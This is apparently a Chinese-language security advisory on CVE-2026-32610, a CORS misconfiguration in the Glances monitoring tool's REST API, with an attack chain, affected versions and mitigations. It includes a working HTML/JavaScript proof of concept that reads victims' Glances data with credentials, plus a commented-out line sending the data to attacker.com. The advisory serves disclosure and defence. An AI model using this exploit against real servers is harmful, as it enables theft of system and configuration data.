IPBUF安全漏洞报告
English
CVE-2026-32610 CVSS 8.1 高危

CVE-2026-32610: Glances REST API CORS配置错误导致跨站数据窃取漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32610
漏洞类型
CORS配置错误
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Glances

相关标签

CORS配置错误跨站请求伪造跨站数据窃取Glances系统监控工具REST APIWeb安全认证绕过

漏洞概述

Glances是一款开源跨平台系统监控工具。其REST API Web服务器存在CORS(跨域资源共享)配置错误漏洞。在4.5.2之前的版本中,默认CORS配置同时设置了allow_origins=["*"]和allow_credentials=True。当这两个选项同时启用时,Starlette的CORSMiddleware会在Access-Control-Allow-Origin响应头中反映请求的Origin头值,而不是返回字面的*通配符。这导致任何网站都可以向Glances服务器发起凭据化的跨域API请求。攻击者可通过诱骗用户访问恶意网页,利用用户活跃的浏览器会话,从Glances服务器窃取系统监控信息、配置密钥、命令行参数等敏感数据。由于该漏洞影响所有使用默认配置的Glances实例,攻击门槛低且危害严重。

技术细节

该漏洞的根本原因在于CORS策略配置不当。正常情况下,当设置allow_origins=["*"]时,浏览器应允许来自任何源的请求;但当allow_credentials=True时,安全策略要求明确指定允许的来源,不能使用*通配符。然而Starlette框架在同时配置这两个选项时,会动态回显请求中的Origin头值,绕过这一安全限制。攻击者只需构造一个恶意网页,通过fetch API或XMLHttpRequest向Glances服务器发起跨域请求,并携带用户的Cookie或认证信息。由于浏览器会自动携带目标域的Cookie,攻击者可以在用户不知情的情况下获取Glances返回的监控数据、进程列表、敏感配置等敏感信息。这种攻击依赖于用户与Glances服务器保持活跃会话。

攻击链分析

STEP 1
步骤1
攻击者创建恶意网页,嵌入针对Glances服务器的跨域请求代码
STEP 2
步骤2
诱骗用户访问该恶意网页,同时用户需保持与Glances服务器的活跃会话
STEP 3
步骤3
恶意网页通过fetch API向Glances服务器发起跨域请求,设置credentials: 'include'携带用户Cookie
STEP 4
步骤4
由于CORS配置错误,浏览器收到服务器返回的Access-Control-Allow-Origin头,值为请求的Origin
STEP 5
步骤5
浏览器允许JavaScript读取响应内容,攻击者成功获取Glances返回的系统监控数据、配置信息等敏感数据
STEP 6
步骤6
攻击者将窃取的数据发送至外部服务器,完成数据窃取攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-32610: Glances CORS Misconfiguration --> <!DOCTYPE html> <html> <head> <title>CVE-2026-32610 PoC</title> </head> <body> <h1>CVE-2026-32610 - Glances CORS Data Theft PoC</h1> <p>Target Glances Server: <input type="text" id="target" value="http://localhost:61208" size="50"></p> <button onclick="exploit()">Exploit</button> <pre id="output"></pre> <script> async function exploit() { const target = document.getElementById('target').value; const endpoints = [ '/api/4/system', // System info '/api/4/cpu', // CPU info '/api/4/mem', // Memory info '/api/4/processlist', // Process list '/api/4/all', // All data '/api/4/pluginslist' // Plugin list ]; let results = '=== Stolen Data ===\n'; for (const endpoint of endpoints) { try { // This request will succeed due to CORS misconfiguration // The browser will include credentials (cookies) const response = await fetch(target + endpoint, { method: 'GET', credentials: 'include', // Include cookies/credentials mode: 'cors' // CORS mode }); if (response.ok) { const data = await response.json(); results += `\n[${endpoint}]\n` + JSON.stringify(data, null, 2) + '\n'; } } catch (err) { results += `\n[${endpoint}] Error: ${err.message}\n`; } } document.getElementById('output').textContent = results; // Send stolen data to attacker server // fetch('https://attacker.com/collect', { // method: 'POST', // body: JSON.stringify({ data: results, timestamp: Date.now() }) // }); } </script> </body> </html>

影响范围

Glances < 4.5.2

防御指南

临时缓解措施
在升级到修复版本之前,可通过以下措施临时缓解:1) 修改Glances的CORS配置,确保allow_credentials=False或明确指定allow_origins为受信任的域名;2) 限制Glances服务仅允许本地访问(监听127.0.0.1而非0.0.0.0);3) 使用防火墙规则限制对Glances Web端口的外部访问;4) 考虑使用反向代理并配置严格的CORS策略。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表